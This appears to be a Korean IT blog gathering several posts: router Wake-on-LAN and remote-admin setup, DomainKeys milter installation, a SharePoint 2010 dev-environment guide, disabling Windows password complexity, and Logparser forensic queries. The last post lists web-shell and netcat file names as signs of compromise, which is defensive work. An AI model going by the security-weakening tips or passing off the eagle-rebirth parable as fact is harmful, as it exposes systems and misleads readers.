이러한 과정을 통해 SharePoint Server 2010의 테스트 배포 환경을 얻게 됩니다. 요구 사항, 배포 시나리오 및 추가 구성에 대한 자세한 내용은 다음 TechNet 문서를 참조하십시오.

 -- Andrea Bichsel, 저자

이 문서는 번역된 블로그 게시물입니다. 원본 문서는 Deploy SharePoint Server 2010 to a test environment를 참조하십시오.

2011/01/10 08:36 2011/01/10 08:36


지난번에 질문 주신 분이 계셔서 간단히 소개해드립니다.


1. WoL 기능이란?

WoL은 Wake on LAN의 약자입니다. 즉 랜카드로 컴퓨터를 켜는 기능인데요, 웬만한 컴퓨터는 다 이 기능을 가지고 있습니다. 특히나 요즘은 스마트폰 사용자들이 증가하면서 이 WoL 기능의 중요성이 더 커지고 있는 실정입니다. 저처럼 외부에서 원격으로 집에있는 컴퓨터에 접속하는 경우가 많다면 컴퓨터를 켜두고 외출하는 것 보다는 이 WoL 기능을 활용하여 필요할 때만 외부에서 컴퓨터를 켜는 쪽이 전기세 절약에 도움되겠지요.

그런데 저처럼 공유기를 사용하는 경우 따로 매직패킷 프로그램을 사용하지 않고 간단히 공유기 관리 화면에 접속해서 WoL 기능을 사용할 수 있습니다. 매우 편리하죠. 웹 브라우저만 사용할 수 있는 환경이라면 어디서든 접속해서 컴퓨터를 켤 수 있으니까요.


2. 공유기에서 WoL 기능 설정하기

일단 공유기 관리 화면에서 WoL 기능을 설정해보겠습니다. 이 글의 제목처럼 ipTIME 공유기 기준인데 저는 N6004 제품을 사용하고 있으니 이 제품 기준으로 설명드립니다. 아마 ipTIME 사용자 분들은 화면이 다 비슷할 것입니다.

192.168.0.1 주소로 접속하시면 공유기 관리 화면으로 들어갈 수 있습니다.

고급 설정 - 특수기능 - WOL 기능

일단 MAC 주소 찾기 버튼을 눌러주세요.



그러면 현재 공유기에 연결되어 있는 PC들의 MAC 주소가 나옵니다. WoL 기능을 사용할 컴퓨터의 MAC 주소를 선택해주시면 됩니다.



3. 외부에서 공유기로 접속 가능하게 설정

위 설정을 했다면 이제 외부에서 공유기 관리 화면으로 접속할 수 있도록 설정해야 합니다. 집에서는 192.168.0.1 주소로 공유기에 접속할 수 있지만 외부에서는 그렇지 않죠. 공인 IP를 사용해서 접속해야 합니다. 그런데 보통 자신의 IP를 잘 외우지 않기 때문에 이 경우 DDNS 기능과 결합해서 사용하면 조금 더 편리합니다.

고급 설정 - 보안 기능 - 공유기 접속 관리

외부 접속 보안에서 원격 관리 포트 사용에 체크를 하시고 사용할 포트를 적어줍니다. 보안상 포트 번호는 80번을 사용하는 것 보다 자신이 임의로 지정하는 것이 좋겠습니다. 저는 4자리 숫자를 적어줬습니다.



다음은 DDNS 설정입니다. 자신의 IP 주소를 외우고 다닌다면 상관이 없겠지만, 외우기 귀찮거나 IP가 자주 바뀌는 경우라면 DDNS 기능이 참 유용합니다.

고급 설정 - 특수기능 - DDNS 설정



이렇게 원격 관리 포트를 설정했고, DDNS까지 설정했다면 이제 자신의 공유기에 외부에서 접속할 수 있는지 테스트 해보세요. 저같은 경우 아래 주소같은 형식이겠죠.

http://sbox.iptime.org:xxxx

뒤에 xxxx는 제가 지정했던 원격 관리 포트 숫자입니다.

저는 아이폰에서 3G 모드로 접속해봤습니다. 공유기 관리 화면에 잘 접속한 모습입니다.



4. PC의 CMOS 설정 화면에서 WoL 기능 활성화 시키기

마지막으로 PC가 랜카드로 켜질 수 있도록 설정해줘야 합니다.

이 부분은 컴퓨터마다 다 다르기 때문에 제가 설명드리기 조금 곤란합니다. 일단 Power 설정 화면으로 들어간 다음 잘 찾아봐야 하는데, 일반적으로는 Wake on Lan 이라는 표현이 있을 것입니다. 또는 Ring 이라는 단어가 쓰일 수도 있구요. 또는 PME 라는 단어를 찾아보세요. (댓글로 알려주셔서 추가)

제가 사용하는 ASUS P7P55D 메인보드는 조금 특이하게도 PCIE 장치로 표현되어 있습니다. 저랑 같은 메인보드 사용하시는 분들을 위해 사진 올려드리겠습니다.




이게 끝입니다. 인터넷에 보면 다른 엉뚱한 설정들도 해야한다고 나와있는데 그렇지 않습니다. 특히 Lan Boot Rom을 설정하라는 말은 정말 잘못되었습니다. 그건 네트워크 부팅(PXE) 설정하는 것입니다. 그리고 윈도우 장치관리자에서 매직패킷 설정하라고 하는 분들도 계신데 저는 그것도 관련이 없다고 생각합니다. 절전모드에서 필요한 기능일지는 모르겠으나 꺼져있는 컴퓨터를 켜는데 OS 상의 드라이버 설정이 무슨 상관이 있는지 모르겠습니다. 적어도 제 컴퓨터에서는 둘다 Disable 시켜도 컴퓨터가 잘 켜집니다.


5. 마무리

이렇게 설정을 다 하셨다면 이제 외부에서 공유기 관리 화면으로 접속한 다음 WoL 기능을 사용하여 컴퓨터를 켜보세요. 저는 컴퓨터를 꺼놓고 아이폰으로 켜봤는데 잘 되었습니다.


2011/01/06 22:14 2011/01/06 22:14

Anti-Spam 관련 대응책은 여러 가지가 있는데, SPF, DomainKey.. 또 뭐가 있더라... , 아무튼 여러 대응책이 있다.
대응 방법의 난이도는 각각 다르지만 대체로 네임서버의 TXT레코드에 정보를 실어 lookup 할 때 정보를 취해서 처리하는 방식이다.

이 중, DomainKeys는 야후에서 개발하여 공개하였고, 최근 구글이 적용한 방식이다.

설치 환경은 Fedora Core3, i686 환경이다.
openssl, sendmail-devel 패키지가 설치되어 있어야 한다.

다음 사이트에서 소스를 다운로드 받는다 : http://sourceforge.net/projects/dk-milter/
필자가 세팅할 당시의 최신 버전은 0.3.3 이었다.

설치 과정 전반에 대한 자세한 설명은 다음 사이트를 참조한다. http://www.erikberg.com/notes/milters.html
이하, 녹색 텍스트 박스는 명령행 입력이고, 주황색 텍스트 박스는 파일 수정이다.
명령 프롬프트의 $ 과 # 이 다름을 유의해야 한다.
(이 문서를 볼 정도의 유저라면 알아서 잘 하리라 생각되지만.)

$ tar zxvf dk-milter-0.3.3.tar.gz
$ cd dk-milter-0.3.3
$ vi dk-filter/Makefile.m4

이 내용의 출처는 다음과 같다. http://www.erikberg.com/notes/dkMakefilem4.html
굵은 글씨만으로 처리된 부분이 수정할 부분이다.
내용 뒤에 공백이 있는 경우 공백을 삭제하지 않도록 유의한다.

dk-filter/Makefile.m4
include(confBUILDTOOLSDIR`/M4/switch.m4')

define(`confMT', `TRUE')
define(`confREQUIRE_LIBSM', `true')

APPENDDEF(`confLIBS', `-lssl -lcrypto')
dnl Enable and edit these paths as needed:
APPENDDEF(`confINCDIRS', `-I/usr/include/openssl ')
APPENDDEF(`confLIBDIRS', `-L/usr/lib ')


dnl To use the asynchronous resolver library provided, enable this line:
bldPUSH_SMLIB(`ar')

bldPUSH_SMLIB(`dk')
APPENDDEF(`confINCDIRS', `-I../libdk/ ')

bldPUSH_SMLIB(`sm')

dnl Enable these next line if needed to specify the locations of libmilter.a
dnl and the libmilter include files:
APPENDDEF(`confINCDIRS', `-I/usr/include/libmilter')
APPENDDEF(`confLIBDIRS', `-L/usr/lib')


dnl Enable for IPv6 support:
dnl APPENDDEF(`confENVDEF', `-DNETINET6 ')

dnl Compile time options, especially FFRs:
APPENDDEF(`confENVDEF', `-D_FFR_AUTH_RESULTS ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_EXTERNAL_IGNORE_LIST ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_FLUSH_HEADERS ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_MACRO_LIST ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_MULTIPLE_KEYS ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_POPAUTH ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_REQUIRED_HEADERS ')
dnl APPENDDEF(`confENVDEF', `-D_FFR_SELECT_CANONICALIZATION ')

bldPRODUCT_START(`executable', `dk-filter')
define(`bldSOURCES', `dk-filter.c util.c ')
PREPENDDEF(`confLIBS', `-lmilter ')
bldPRODUCT_END

bldPRODUCT_START(`manpage', `dk-filter')
define(`bldSOURCES', `dk-filter.8')
bldPRODUCT_END

bldFINISH
$ vi libdk/Makefile.m4

다음 내용을 수정한다.
이 내용의 출처는 다음과 같다. http://www.erikberg.com/notes/libdkMakefilem4.html

libdk/Makefile.m4
include(confBUILDTOOLSDIR`/M4/switch.m4')

define(`confREQUIRE_LIBSM', `true')

dnl Enable these lines to make use of the provided asynchronous resolver:

bldPUSH_SMLIB(`ar')
APPENDDEF(`confENVDEF', `-DUSE_ARLIB ')
APPENDDEF(`confINCDIRS', `-I../libar/ ')

dnl Enable and edit this as appropriate for your system: APPENDDEF(`confINCDIRS', `-I/usr/include/openssl ')

define(`confMT', `true')
bldPRODUCT_START(`library', `libdk')
define(`bldSOURCES', `dk.c rfc2822.c util.c ')
bldPRODUCT_END bldFINISH
$ vi devtools/Site/site.config.m4

다음 내용을 작성한다.
이 내용의 출처는 다음과 같다. http://www.erikberg.com/notes/siteconfigm4.html

devtools/Site/site.config.m4
dnl # use poll() instead of select() in libmilter
APPENDDEF(`confENVDEF', `-DSM_CONF_POLL=1')dnl

dnl # devtools/OS/Linux has our MANROOT wrong and owner/group wrong
define(`confMANROOT', `/usr/share/man/man')
define(`confMANOWN', `root')
define(`confMANGRP', `root')

모두 수정하였으면 컴파일한다..

$ sh Build
$ sh -c "make install"

도메인 키 레코드 정보를 생성한다.

$ cd dk-filter
$ ./gentxt.csh fookey foo.com > fookey._domainkey.foo.com
$ cat fookey._domainkey.foo.com

정상적으로 되었으면 key 쌍을 생성한다.

$ openssl genrsa -out fookey.private 1024
$ openssl rsa -in fookey.private -out fookey.pub -pubout
$ sed -e '1i\"g=; k=rsa; t=y; p=' -e '/^----/d' fookey.pub | tr -d '\n' | sed -e 's/$/"\n/' > fookey._domainkey.foo.com
$ cat fookey._domainkey.foo.com

생성한 키를 설치한다.

$ su
# mkdir -p /etc/mail/domainkeys
# chmod 0700 /etc/mail/domainkeys
# mv fookey.private /etc/mail/domainkeys/fookey.pem

BIND를 수정한다.

fookey._domainkey.foo.com 파일의 내용을 클립보드에 복사해둔다.

# cat fookey._domainkey.foo.com
# vi /var/named/foo.com.zone

끝에 한 줄을 더 추가한다.
TXT 이후의 " " 안에 복사해둔 키를 입력한다.

/var/named/foo.com.zone
www               IN    A       192.168.0.1
fookey._domainkey IN    TXT     "g=; k=rsa; t=y; p=MIGf...."
# /etc/init.d/named restart

DNS 레코드에 정상 반영되었는지 확인한다.

$ dig +short dktest._domainkey.erikberg.com txt

원래는 위와 같이 하면 입력한 TXT 필드가 출력되어야 하나, 필자의 경우 nslookup 이나 dig의 문제인지, 혹은 BIND의 문제인지 첫 문자가 _ 로 시작하는 문제로 인해 에러가 났다. 확인해주는 사이트를 이용해 확인해볼 수 있다.

다음 사이트에 접속한다. : http://domainkeys.sourceforge.net/selectorcheck.html
입력 창에 fookey._domainkey.foo.com 을 입력하고 Submit 버튼을 누른다.
다음과 같이 필드별 테이블과 함께 This selector appears valid. 라고 나타나면 정상이다.

Tag Value Explanation
k rsa The public key algorithm used to verify the signature
p MIGfMA0GCSqGSIb3DQE... Modulus Size=1024
Exponent=65537
t y This Selector is in test mode

sendmail을 수정한다. sendmail.mc 파일의 끝부분에 다음 내용을 추가해준다.

# vi /etc/mail/sendmail.mc
/etc/mail/sendmail.mc
dnl
dnl # Setup the sendmail filters; milter
dnl
dnl INPUT_MAIL_FILTER(`filter1', `S=local:/var/run/f1.sock, F=R')
INPUT_MAIL_FILTER(`dk-filter', `S=inet:8891@localhost')

sendmail.cf 를 다시 빌드한다.

# m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

iptables 를 수정하여 TCP 8891 포트를 연다.

# vi /etc/sysconfig/iptables
# /etc/sysconfig/iptables
....
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 8891 -j ACCEPT
....
# /etc/init.d/iptables restart

rc.local 을 수정하여 시스템 부팅시 자동으로 domainkeys 가 시작되도록 설정한다.
원칙적으로 /etc/rc.d/init.d 에 스크립트를 만들고, rc?.d 에 등록하는 게 맞겠지만, 쉽게 가기로 했다. --;;

# vi /etc/rc.d/rc.local
/etc/rc.d/rc.local
# usr/bin/dk-filter -h -l -p inet:8891@localhost -C bad=r,dns=t,int=t,no=a,miss=r -d foo.com -u domainkeys -s /etc/mail/domaink
eys/fookey.pem -S fookey

domainkeys 사용자를 생성하고 생성한 키에 대한 권한을 부여한 후 domainkeys 를 실행한다.

# useradd -r -c "DomainKeys System Account" domainkeys
# chown domainkeys /etc/mail/domainkeys -R
# usr/bin/dk-filter -h -l -p inet:8891@localhost -C bad=r,dns=t,int=t,no=a,miss=r -d foo.com -u domainkeys -s /etc/mail/domaink
eys/fookey.pem -S fookey
# ps aux | grep domainkeys
2010/12/10 01:47 2010/12/10 01:47

Published: May 2010

When you create or customize SharePoint solutions, it is usually best to develop the solution on a local computer where Microsoft SharePoint Server 2010 or Microsoft SharePoint Foundation 2010 is installed. This article describes how to install a development environment with Microsoft SharePoint 2010 and Microsoft Visual Studio 2010. The development environment that you create by using these instructions will not support SharePoint farm installations, and you should not host active production sites with this configuration. These instructions enable you to get started with an environment that is specifically suited to developing SharePoint custom solutions.

NoteNote

For a Windows PowerShell script that installs and configures all of the prerequisites and products that you will need to get started with SharePoint Server 2010 development, see SharePoint 2010 Easy Setup Script.

Step 1: Choose and Preconfigure the Operating System

The requirements for a development environment are less stringent and costly than the requirements for a production environment, and the guidelines in this topic do not support a production environment installation. You have several options for preconfiguring the operating system of a local computer on which you will install SharePoint 2010 for development purposes. The choice that you make will be determined by factors specific to your organization and environment (such as budget, the size of your development team, and the operating systems that you and your organization are already using).

In any development environment, you should use a computer with an x64-capable CPU, and at least 2 gigabytes (GB) of RAM to install and run SharePoint Foundation; 4 GB of RAM is preferable. You should use a computer with 4 GB of RAM to install and run SharePoint Server; 6 GB to 8 GB of RAM is preferable.

Following are the options:

  • Install SharePoint on Windows Server 2008 Service Pack 2 x64 (or Windows Server 2008 R2 x64).
  • Use Microsoft Hyper-V and install SharePoint on a virtual machine running a Windows Server 2008 Service Pack 2 x64 (or Windows Server 2008 R2 x64) guest operating system.
  • Install SharePoint on Windows 7 x64, Windows Vista Service Pack 1 x64, or Windows Vista Service Pack 2 x64.
  • Use Microsoft Hyper-V and install SharePoint on a virtual machine running a Windows 7 x64, Windows Vista Service Pack 1 x64, or Windows Vista Service Pack 2 x64 guest operating system.

You must install the WCF Hotfix for Microsoft Windows. The hotfix is available for Windows Server 2008 Service Pack 2, Windows Vista Service Pack 1, and Windows Vista Service Pack 2 and for Windows Server 2008 R2 and Windows 7.

If you are using Windows Vista Service Pack 1 or Windows Vista Service Pack 2, install the hotfix for ASP.NET on IIS 7.0 (KB967535). This hotfix, which has already been installed on Windows 7, Windows Server 2008 Service Pack 2, and Windows Server 2008 R2, updates the ASP.NET common language runtime (CLR) to recognize a new option of optimizing compilations. To take advantage of this option, set the optimizeCompilations property of the <compilation> tag in your web.config file to true:

<compilation optimizeCompilations="true">

This change significantly improves the initial page load time after you have installed a solution to the bin directory.

You must install the ADO.NET Data Services Update for .NET Framework 3.5 SP1 to enable REST-based data services. This update is available for Windows Server 2008 Service Pack 2, Windows Vista Service Pack 1, and Windows Vista Service Pack 2 and for Windows Server 2008 R2 and Windows 7.

Windows 7 and Windows Vista cannot be used for production deployments of SharePoint 2010. If you use Windows 7 or Windows Vista for your development environment, you should have access to a test environment that has the same operating system installed as your production environment. Windows 7 and Windows Vista are recommended only for developer workstations and should be used only for stand-alone installations. You can use a separate Microsoft SQL Server instance, but you should not configure your installation as a SharePoint farm and you should not host active sites on this configuration.

Step 2: Install the Prerequisites for SharePoint 2010

SharePoint requires your operating system to have certain prerequisites installed before installation begins. For this reason, SharePoint includes a PrerequisiteInstalle.exe tool that installs all of these prerequisites for you. If your developer workstation is set up with the Windows Server 2008 Service Pack 2 or Windows Server 2008 R2 operating system, you can install SharePoint 2010 by running the PrerequisiteInstaller.exe tool (which is included with SharePoint 2010) to install the prerequisites that SharePoint needs, and then run Setup.exe. However, you cannot use PrerequisiteInstaller.exe on Windows 7 or Windows Vista. For those operating systems, you must follow the additional instructions in this section.

Because the default installation works only for Windows Server 2008, you must edit one configuration file and install many of the prerequisites manually. You must perform each of the following steps while logged on with an account that has administrator access on the local computer. These steps assume that you received the SharePoint 2010 distribution as a single compressed executable file named SharePointFoundation.exe for SharePoint Foundation 2010 and setup.exe for SharePoint Server 2010.

To set up a developer workstation

  1. Copy the SharePointFoundation.exe (or setup.exe) installation file to a folder on the computer where you are installing SharePoint and doing your development, such as in the following path:

    c:\SharePointFiles

  2. Extract the installation files by opening a Command Prompt window, and then typing the following command at the directory location of the folder where you copied the installation files in the previous step.

    For SharePoint Foundation 2010:

    c:\SharePointFiles\SharePoint /extract:c:\SharePointFiles

    For SharePoint Server 2010:

    c:\SharePointFiles\OfficeServer /extract:c:\SharePointFiles

  3. Using a text editor such as Notepad, open the installation configuration file, config.xml, located in the following path: c:\SharePointFiles\files\Setup\config.xml

    Add this line inside the <configuration> tag:

    <Setting Id="AllowWindowsClientInstall" Value="True"/>
    
  4. Save the configuration file.
  5. Review the complete configuration file. It now looks similar to the following for SharePoint Foundation 2010. The complete configuration file will be longer for SharePoint Server 2010 (and therefore the text below cannot replace the contents of that file), but should use the same setting for the AllowWindowsClientInstall attribute.
    <Configuration>
      <Package Id="sts">
        <Setting Id="SETUPTYPE" Value="CLEAN_INSTALL" />
      </Package>
      <DATADIR Value="%CommonProgramFiles%\Microsoft Shared\Web Server
       Extensions\14\Data" />
      <Logging Type="verbose" Path="%temp%" Template="Microsoft Windows
       SharePoint Services 4.0 Setup *.log" />
      <PIDKEY Value="PIDKey Value" />
      <Setting Id="UsingUIInstallMode" Value="1" />
      <Setting Id="SETUP_REBOOT" Value="Never" />
      <Setting Id="AllowWindowsClientInstall" Value="True"/>
    </Configuration>
    

    All of the text in this configuration file is case-sensitive. If you do not edit the configuration file as described in the previous step or if you do not save the configuration file, when you try to run the installation you see the error message shown in Figure 1.

    Figure 1. Setup is unable to proceed error message

    Setup is unable to proceed
  6. If you are using Windows Vista Service Pack 1 or Windows Vista Service Pack 2, you must install the following prerequisites:
  7. If you are using Windows Vista Service Pack 1, Windows Vista Service Pack 2, or Windows 7, install the following additional prerequisites:
  8. Manually enable each of the required Windows Features. You can do this quickly by copying and running the following command in a Command Prompt window.
    Caution note Caution

    The following text contains line breaks. You must remove the line breaks to run this script from a command prompt.

    start /w pkgmgr /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;
    IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;
    IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility;
    IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-HealthAndDiagnostics;
    IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ManagementScriptingTools;
    IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;
    IIS-RequestFiltering;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;
    IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-IIS6ManagementCompatibility;
    IIS-Metabase;IIS-WMICompatibility;WAS-WindowsActivationService;WAS-ProcessModel;
    WAS-NetFxEnvironment;WAS-ConfigurationAPI;WCF-HTTP-Activation;
    WCF-NonHTTP-Activation
    
  9. Verify that the required Windows Features are enabled. The command in the previous step enables all of the required features in the Internet Information Services section of the Windows Features dialog box (which you can access through the Programs section in Control Panel). Use Figure 2 and Figure 3 to check that you have enabled all of the required Windows Features. If any features are missing in your operating system, return to the Internet Information Services section of the Windows Features dialog box and enable them.
    Note Note

    The following figures represent one Windows Features dialog box on a computer running the Windows 7 operating system. They have been broken into two figures for the sake of readability. The list of Windows Features will look the same on Windows Vista.

    Figure 2. First part of Windows Features list from Windows 7

    First part of Windows Features list
    Figure 3. Second part of Windows Features list from Windows 7

    Second part of Windows Features list
  10. Restart your computer to complete the changes that you made to Windows Features.
Step 3: Install SharePoint 2010

  1. To install SharePoint Server 2010 or SharePoint Foundation 2010, open a Command Prompt window, and then type the following at the command prompt:
    c:\SharePointFiles\Setup.exe
    
  2. Accept the Microsoft Software License Terms.
  3. On the Choose the installation you want page, click Standalone to install everything on one developer workstation.
    Figure 4. Installation type choice

    Installation type choice
  4. If any errors occur in the installation, review the log file. To find the log file, open a Command Prompt window, and then type the following commands at the command prompt. The log file is displayed at the end of the directory listing.
    cd %temp%
    dir /od *.log
    
    
    Tip Tip

    A link to the log file also appears when the installation is complete.

  5. After the installation is complete, you are prompted to start the SharePoint Products and Technologies Configuration Wizard. If you are using a local instance of Microsoft SQL Server 2008, install the Microsoft SQL Server 2008 KB 970315 x64 before starting the wizard. If your development environment uses a remote instance of Microsoft SQL Server 2008 or if it has a pre-existing installation of Microsoft SQL Server 2008 on which KB 970315 x64 has already been applied, this step is not necessary. With the wizard open, do the following:
    1. Install SQL Server 2008 KB 970315 x64.
    2. After the Microsoft SQL Server 2008 KB 970315 x64 installation is finished, complete the wizard.
  6. Alternatively, you can choose not to run the wizard by clearing the SharePoint Products and Technologies Configuration Wizard check box and closing the completed installation dialog box. Install SQL Server 2008 KB 970315 x64, and then manually start the SharePoint Products and Technologies Configuration Wizard by opening a Command Prompt window and executing the following command:
    C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\BIN\psconfigui.exe
    
Caution note Caution

The SharePoint Products and Technologies Configuration Wizard may fail if you are using a computer that is joined to a domain but that is not connected to a domain controller. If you see this failure, connect to a domain controller either directly or through a Virtual Private Network (VPN) connection, or sign in with a local account that has administrative privileges on the computer.

After the configuration wizard is complete, you see the new SharePoint site.

Figure 5. New SharePoint site

New SharePoint site
Step 4: Install Visual Studio 2010 and Developer Documentation

  1. Install Visual Studio 2010.
  2. Download and install the Microsoft SharePoint 2010 SDK.
Step 5: Create Hyper-V Images from Your Installed System

After you set up a working development environment on a physical host computer, you can store your setup as a virtual computer, so that others can use it, or so that you can reuse this "clean" installation at a later date. Alternatively, you can set up a development environment on a newly created virtual machine. The Hyper-V role in Windows Server 2008 Service Pack 2 provides infrastructure and management tools that enable you to create multiple server environments on a single host. For more information, see Getting to Know Hyper-V: A Walkthrough From Initial Setup to Common Scenarios. For a useful Windows PowerShell script that enables you to create a virtual hard drive (VHD) out of an existing Windows Server 2008 image, see Install-WindowsImage PowerShell Script on MSDN Code Gallery.

If you are using Windows 7, you can also create a VHD on which SharePoint is installed in Windows Hyper-V, and then configure Windows 7 with BDCEdit.exe so that it boots directly to the operating system on the VHD. This improves performance because the virtualization layer is not present. It also enables you to use VHD differencing disks (VHDs that contain only elements that differ from a single base installation), which save disk space and make it easier to roll back changes. See Deploy Windows on a Virtual Hard Disk with Native Boot to learn more about this kind of configuration.

If you choose to create a single server installation on a virtual computer, the standard memory requirements still apply. Your virtual computer requires at least 2 GB (preferably 4 GB) of RAM. Virtualization also gives you the opportunity to create a server farm that includes more than one machine. In a farm installation of SharePoint Server 2010, each machine requires at least 1.5 GB (preferably 2 GB) of RAM. You could run a fully functional domain infrastructure on a setup installation such as the following example installation:

  • Two virtual computers, each with 2 GB of RAM
  • Domain controller and Microsoft SQL Server 2008 running on one computer
  • SharePoint Server 2010 and two Web applications (including Central Administration) running on another computer
Change History

2010/11/28 12:16 2010/11/28 12:16
Windows Server 2008의 시스템 암호를 설정할 때 알파벳, 숫자, 특수문자를 혼용해야만 설정이 가능합니다.
만약 사용자가 임의로 간단한 패스워드를 원할 시에는 다음과 같이 암호 정책을 바꿔주면 됩니다.

1. 실행창에 gpedit.msc를 입력합니다.

2. 로컬 컴퓨터 정책 → 컴퓨터 구성 → Windows 설정 → 보안 설정 → 계정 정책 → 암호 정책에서 암호 복잡성을 만족해야 함을 클릭합니다.


사용자 삽입 이미지


3. 속성을 사용 안 함을 선택하고 확인을 클릭합니다.
사용자 삽입 이미지


4. 시스템 패스워드를 다시 설정합니다.(Ctrl + Alt + Del 키를 누르면 암호를 변경할 수 있습니다.)



2010/11/27 12:41 2010/11/27 12:41
북한의 연평도 포격 사건으로 큰 충격을 받으셨으리라 생각합니다.

대내외적인 영향보다도 우리나라 국민의 한 사람으로서 참으로 기가막히고 안타까운 마음에 시시각각 전해지는 뉴스를 살피며 수없이 가슴이 무너졌습니다.


- 원숭이와 금기

생태과학자들이 네 마리의 원숭이를 우리에 넣고 실험을 했다.

그들은 매일 먹이를 조금씩 주어 먼저 원숭이들을 배고프게 만들었다.

그리고 며칠 후 우리 위쪽의 작은 구멍으로 탐스러운 바나나 한 송이를 매달아 내려 보냈다.

굶주림에 눈이 먼 원숭이 한 마리가 재빠른 걸음으로 단숨에 바나나를 잡으러 다가갔다.

그러나 바나나를 막 잡으려고 하는 순간 미리 설치되어 있던 설비에서 뜨거운 물이 뿜어져 나와 그 원숭이는 전신에 화상을 입었다.

뒤이어 바나나를 잡으러 갔던 다른 원숭이 세 마리도 모두 차례대로 뜨거운 물에 화상을 입었다.

원숭이들은 도리 없이 바나나를 바라보며 그저 한숨만 지을 뿐이었다.

며칠 후 우리 속의 원숭이 한 마리를 새로운 놈으로 교체했다.

이 새로운 원숭이가 배가 고파 바나나를 잡으려고 하자 나머지 세 마리는 즉각 그에게 위험을 알리며 절대 바나나에 가까이 가지 말라고 알려주었다.

며칠 후 과학자들은 다시 원숭이 한 마리를 교체했다.

이 새로운 원숭이가 바나나를 잡으려고 할 때 한 가지 재미있는 현상이 포착되었다.

이미 뜨거운 물에 화상을 입은 경험이 있는 두 마리뿐만 아니라 먼저 교체되어 들어갔던 한 마리마저 적극적으로 새 원숭이에게 바나나에 가까이 가지 말도록 말렸던 것이다.

실험이 계속되어 우리 속의 원숭이들이 모두 새로운 녀석들로 교체되었다.

이제 이들 중 화상을 입었던 원숭이는 한 마리도 없고, 뜨거운 물을 뿜어내는 설비도 제거되어 바나나를 쉽게 잡을 수 있게 되었지만 여전히 바나나를 잡으러 가는 원숭이는 없었다.

- 경영비책 중에서 ..............


기업조직에는 실패의 경험이 금기처럼 전승되는 경우가 드물지 않다.

세월이 흐르고 환경과 사람이 바뀌어도, 지난날의 패배에서 생겨난 금기의 어두운 그림자가 조직을 억눌러 포착해야 할 절대 절명의 기회들을 무기력하게 흘려보내고 마는 것이다.
2010/11/25 01:35 2010/11/25 01:35

- 솔개의 갱생 -

경영 일기 2010/11/25 01:29
2010년이 쉽게 가지 않으려는 듯 연말에 다가가면서 예기치 못한 커다란 사건들이 줄을 잇고 있습니다.

한미 연합훈련이 북한의 추가도발 없이 무사히 끝났지만, 지난 29일 안동에서 발생한 구제역이 사상 두 번째로 큰 피해를 기록하며 확산되고 있어 어려운 시기에 안타까움이 큽니다.




- 솔개의 갱생

솔개는 가장 장수하는 조류로 알려져 있다.

솔개는 최고 약 70세의 수명을 누릴 수 있는데 그가 이렇게 장수하려면 약 40살이 되었을 때 매우 고통스럽고 중요한 결심을 해야만 한다.

솔개는 약 40살이 되면 발톱이 노화하여 이제 사냥감을 그다지 효과적으로 잡아챌 수 없게 된다.

부리도 길게 자라고 구부러져 가슴에 닿을 정도가 되고, 또한 깃털이 짙고 두텁게 자라 날개가 매우 무겁게 되어 하늘로 날아오르기가 나날이 힘들게 된다.

이 즈음이 되면 솔개에게는 두 가지 선택이 있을 뿐이다. 그대로 죽을 날을 기다리든가 아니면 약 반년에 걸친 매우 고통스런 갱생의 과정을 수행하는 것이다.

갱생의 길을 선택한 솔개는 먼저 산 정상 부근으로 높이 날아올라 그곳에 둥지를 짓고 머물며 고통스런 수행을 시작하게 된다. 그는 먼저 부리로 바위를 쪼아 부리가 깨지고 빠지게 만든다.

그러면 서서히 새로운 부리가 돋아나는 것이다. 그런 후 새로 돋은 부리로 발톱을 하나하나 뽑아낸다. 그리고 새로 발톱이 돋아나면 이번에는 날개의 깃털을 하나하나 뽑아낸다.

이리하여 약 반년이 지나면 새 깃털이 돋아난 솔개는 완전히 새로운 모습으로 변신하게 된다. 그리고 다시 힘차게 하늘로 날아올라 30년의 수명을 더 누리게 되는 것이다.

- 경영배책 중에서 ......


-

변화와 개혁을 위해서는 때로 묵은 습관과 전통을 포기할 필요도 있다.

낡은 사고방식을 버리고 새로운 사조를 받아들이고, 스스로의 잠재능력을 최대한 발휘하기 위해 각고의 노력을 마다하지 않는 가운데 새로운 미래가 비로소 우리 앞에 펼쳐지게 되는 것이다.
2010/11/25 01:29 2010/11/25 01:29

Logparser는 MS에서 만든 강력한 IIS, W3C, 이벤트 로그 분석툴로서 SQL 쿼리타입으로 조건별 검색할 수 있는 강력한 툴입니다.

1) 가장 최근에 생성된 시간을 기준으로 ASP 스크립트를 변조한 Trojan Files 여부를 진단
 
C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, CreationTime FROM C:\inetpub\wwwroot\*.* ORDER BY CreationTime DESC" -rtp:-1 


2). 가장 최근에 수정된 Files 로그 찾기

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, LastWriteTime FROM C:\inetpub\wwwroot\*.* ORDER BY LastWriteTime DESC" -rtp:-1   
  
3). 해커가 Trojan Files을 삭제한 경우에 HTTP 200 서버코드 흔적 로그를 찾는다.
 
C:\logparser "SELECT DISTINCT TO_LOWERCASE(cs-uri-stem) AS URL, Count(*) AS Hits FROM ex*.log WHERE sc-status=200 GROUP BY URL ORDER BY URL"    -rtp:-1  
 
* nc.exe, tini.exe, root.exe, cmd.exe, upload.asp, aspexec.asp, cmd.asp 같은 파일 이름이 있으면 의심

4) Script Abuse 분석(가장 많은 Request 요청을 받은 Executable 파일의 확장자 확인)

